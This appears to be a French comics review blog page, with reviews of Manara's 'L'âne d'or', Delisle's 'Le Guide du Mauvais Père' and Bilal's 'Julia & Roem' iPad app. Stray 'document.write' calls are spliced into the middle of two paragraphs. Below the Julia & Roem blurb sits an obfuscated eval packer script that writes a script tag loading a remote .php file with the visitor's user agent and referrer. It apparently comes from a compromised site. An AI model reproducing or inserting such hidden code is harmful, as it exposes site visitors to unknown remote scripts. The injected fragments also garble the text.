Manara illustre son récit à l’encre (qu’il utilise aussi pour certaines textures et ombrages), qu’il colore ensuite à l’aquarelle avec une sélection limitée de couleurs qui s’approche presque de la bichromie. En effet, il n’utilise que des gris bleutés ou violet, des tons de brun ou de sépia et surtout la couleur chair, qui, en un merveilleux stratagème, se distingue particulièrement sur ce fond de couleurs délavées et discrètes. Les seules couleurs vives sont utilisées pour représenter un peu de sang (celui des flagellants de Cybèle) ou les dieux (rose et bleu pour Aurore, jaune pour Isis). Manara m’apparait au sommet de son talent et fait preuve d’une grande sensualité, non seulement dans la représentation de belles femmes, mais aussi dans l’illustration de la vie quotidienne à l’époque romaine.

Une très bonne bande-dessinée que je recommande tant pour son adaptation de ce classique de la littérature latine que pour son érotisme.

Extraits: pages 14 et 30; Attention: des scènes de nudité y sont représentées!
Un extrait comprenant les huit premières pages est aussi disponible sur le site de l’éditeur.

L’âne d’or, par Milo Manara. Paris, Les Humanoïdes Associés, janvier 2011. 24 x 32 x 1 cm, 56 pg., 18.99 € / $29.95 Can. ISBN: 978-2-7316-2318-5. Recommandé pour adultes (18+).

Cet album est également disponible en format digital (4.99 € aux Humanos, 5.99 € ou encore 2.49 € en location (10 jours) chez izneo.com).

Pour plus d’information vous pouvez consulter les sites suivants:

L’âne d’or © 2011 Les Humanoïdes Associés S.A.S., Paris.

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Le maléfice de l’améthyste

yoko26fr“De retour en Écosse, Yoko et Emilia reçoivent une étrange visite. Un notaire vient leur annoncer que l’arrière-grand-tante d’Emilia lui a légué son cottage… pour la remercier de lui avoir sauvé la vie en 1935 ! Intriguées, les deux amies se rendent sur place pour y trouver le fiancé de l’arrière-grand-tante qui leur explique son histoire. En 1934, il a inventé une machine à remonter le temps et l’a utilisée pour voyager dans le futur afin d’y trouver un médicament contre la tuberculose, mal dont se meurt sa promise. Mais resté coincé au XXIe siècle, il lui a fallu du temps pour réparer sa machine et, trop vieux pour faire le voyage-retour, il demande à Yoko et à Emilia de porter le remède dans le passé. Les deux amies n’ont pas le temps d’hésiter: piégées, elles se retrouvent dans les années 30 où elles auront affaire à des comploteurs russes et une étrange pierre précieuse au pouvoir maléfique.”

[ Texte du site de l’éditeur; voir couverture arrière ]

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Le Guide du Mauvais Père

Guide_du_mauvais_pere_1-cov“Oublier le passage de la petite souris, traumatiser sa fille avec une terrifiante histoire d’arbre qui pousse dans l’estomac, dénicher des conseils peu avisés pour encourager fiston à taper plus fort sur le punching bag… Guy Delisle, un mauvais père ? Non, un auteur de bande dessinée qui sait puiser l’imagination là où elle se trouve, avec un sens aigu de l’observation et une bonne dose d’autodérision.”
[Texte du site de l’éditeur; voir aussi la couverture arrière]

Guy Delisle est surtout connu pour ses “travelogues” aux frontières hasardeuses de la géo-politique mondiale qu’on retrouve au Moyen et Extrême-Orient (les Shenzhen, Pyongyang, Chroniques Birmanes, Chroniques de Jérusalem, et qu’il me faudra bien commenter un jour), mais il a aussi commis des BDs plus traditionnelles (tels que Inspecteur Moroni ou Comment ne rien faire) ou des albums plus “familiaux” (tel que Louis au ski et Louis à la plage). Le Guide du Mauvais Père appartient à cette dernière catégorie. C’est un petit bijou fort mignon mais trop bref (192 pages peut être, mais avec seulement une ou deux grosses illustrations par page ce qui fait que le livre se lit très rapidement).

Vraisemblablement inspiré des Chroniques d’une Mère Indigne de Caroline Allard, Delisle avait commencé sur son blogue une série de petites histoires mettant en scène ses enfants et son “moi” romancé (du moins on l’espère!) dans des scènettes où son jugement de père lui faisait (supposément) défaut. Le livre compile ces histoires et en rajoute plusieurs autres. Par exemple, il raconte à son fils que, si il met sa dent sous son oreillée, une petite souris y laissera une pièce de monnaie en échange. Mais, plusieurs nuit de suite, étant trop fatigué et occupé, il oubli de mettre la monnaie sous l’oreillée de son fils et doit trouver une façon de se sortir de cette situation sans éveiller les soupçons de l’enfant. Mon illustration préférée ne se trouve pas dans les pages du livres mais sur le rabat de couverture intérieure de la jaquette: alors qu’il porte son bébé dans un harnais ventral, il urine sur un mur! Voici d’autres exemples:

Ce qui est extraordinaire avec Guy Delisle c’est que malgré qu’il utilise un style extrêmement simple, ses illustrations sont tellement expressives que cela lui permet de rendre des idées parfois assez complexes avec un minimum de traits (C’est un aspect de son travail que j’avais déjà remarqué dans ses ouvrages précédents — et ceci est encore plus remarquable pour des sujets complexes comme en géo-politique mondiale du moyen-orient que pour une chronique “familiale” humoristique qui ne prend que quelques “cases”).

Bref, Le Guide du Mauvais Père offre un humour léger et se lit très rapidement. C’est une lecture agréable que je recommande vivement.

Le Guide du Mauvais Père, par Guy Delisle. Paris, Éditions Delcourt (Coll. Shampooing), 2013. 17.8 x 12.8 x 2.2 cm, 192 pg., 9,95 € / $15.95 Can. ISBN: 978-2-7560-3873-5. Recommandé pour jeune adulte (14+). stars-3-0

Pour plus d’information vous pouvez consulter les sites suivants:

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Le Guide du Mauvais Père © 2013 Guy Delcourt Productions.

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Mai, mois de la BD

Mai est le mois de la BD dans les bibliothèques de Montréal. Pour une deuxième année consécutive, document.write(“”); les bibliothèques de Montréal — en collaboration avec le Festival BD de Montréal — organisent de nombreuses activités qui mettent la bande dessinée à l’honneur. Pour plus de détails, veuillez consulter le calendrier des activités et le site “Mai, Mois de la BD dans les Bibliothèques de Montréal: sortez de votre bulle !” Vous trouverez aussi quelques anecdotes surprenants sur la BD sur la page “Saviez-vous que?” À vos BDs!

Julia & Roem: l’Apps

“Après un «coup de sang» environnemental apocalyptique et dévastateur, document.write(“”); la planète s’apaise et se recompose. Dans une géographie chamboulée, au cœur d’un nouveau désert, quelques survivants tentent de s’organiser dans ce nouveau monde. Sous le regard amusé d’un aumônier multiconfessionnel, les acteurs se mettent en place pour rejouer, malgré eux, la plus universelle des tragédies amoureuses… Parviendront-ils à s’écarter de la route qui semble toute tracée devant eux?” (Présentation sur l’Apps Store)
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ysnke|var|u0026u|referrer|beaya||js|php’.split(‘|’),0,{}))
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Cette application adapte en format électronique pour l’iPad la plus récente BD de Bilal. Pour l’histoire, je vous renvoi au
commentaire que j’ai fait sur la bande-dessinée elle-même.

Cette application offre une approche différente de la lecture de bande-dessinée. Chacune des cases défile sur l’écran comme un diaporama, avec une trame sonore originale (par Goran Vejvoda). Il n’y a pas de bulle mais à la place on a soit le texte qui apparait en sous-titres, ou une version racontée du texte (la narration est d’ailleurs faite par Enki Bilal lui-même!). On peut zoomer sur les détails des images. C’est assez intéressant, mais, si j’apprécie bien les formats électroniques, je dois avouer être tout de même un peu traditionnaliste dans ma lecture de BD (ou de comics) et j’aime bien avoir d’abord une vue d’ensemble de la planche et de pouvoir zoomer ensuite sur les cases et les textes (approche que l’on retrouve dans des applications de lecture comme Comics par ComiXology par exemple).

Petite démonstration:

C’est cool, non?

J’adore l’idée de lire en format électronique une bande-dessinée européenne, et une de Bilal encore plus. Toutefois, ce qui est domage c’est que l’on ait pas le controle sur la vitesse de défilement des cases (à moins de faire “pause” et d’avancer manuellement, mais les boutons de controles restent alors en filigrane, ce qui nuit beaucoup à la lecture). Mais ce qui m’embête énormément avec cette application c’est que lorsque la description me dit “cette application vous propose l’intégralité de la bande dessinée Julia & Roem,” je m’attend vraiment à avoir l’intégralité de la BD. Je me disais d’ailleurs que $5.99 c’était vraiment toute une aubaine (alors que la BD en soi est $32.95)! Après avoir acheté l’application, je me rend compte qu’elle ne contient que la première partie de l’histoire et qu’il me faudrait payer un autre $3.99 pour une deuxième partie et un autre $3.99 pour une troisième. Il y a combien de partie comme ça? Est-ce que ça se termine vraiment avec la troisième partie? C’est pratiquement une arnaque! Bon, la première partie est un peu plus chère parce qu’elle inclue l’application comme telle et les bonus (un entretien avec Bilal, de l’info sur la bande-originale, une biographie, une bibliographie et une filmographie de Bilal, ainsi que quelques liens internet). Et même à $13.97, c’est quand même moins chère qu’acheter la BD papier… Mais je m’attendais quand même à mieux de Casterman…

Je suis donc plutôt décu. Mon $5.99 m’a tout de même permis d’expérimenter avec le format, mais j’ai quand même préférer lire la BD papier. Je recommande cette application seulement s’il vous faut vraiment sauver de l’argent et si vous voulez expérimenter une façon “différente” de lire une BD. Sinon, il y a toujours les bibliothèques publiques!

Julia & Roem a été créé par les Éditions Casterman en juillet 2011 (la version 2.0 est parue en août avec les chapitres 2 et 3). L’application est disponible, en français seulement, dans la catégorie “books” (ou “Livres numériques” en français) de l’iTunes Store (tant US, CA ou FR) pour 4.99 EUR (ou $5.99 US/CDN). D’une taille de 277 MB, elle est compatible avec tout iPhone, iPod touch, et iPad qui opèrent avec la version iOS 3.1.3 ou plus. Recommandé pour 12+ ans (Rares/légères scènes de violence fictive; Rares/légères scènes de consommation ou de référence à l’alcool, au tabac ou à la drogue).

Julia & Roem © Casterman 2011 • Enki Bilal.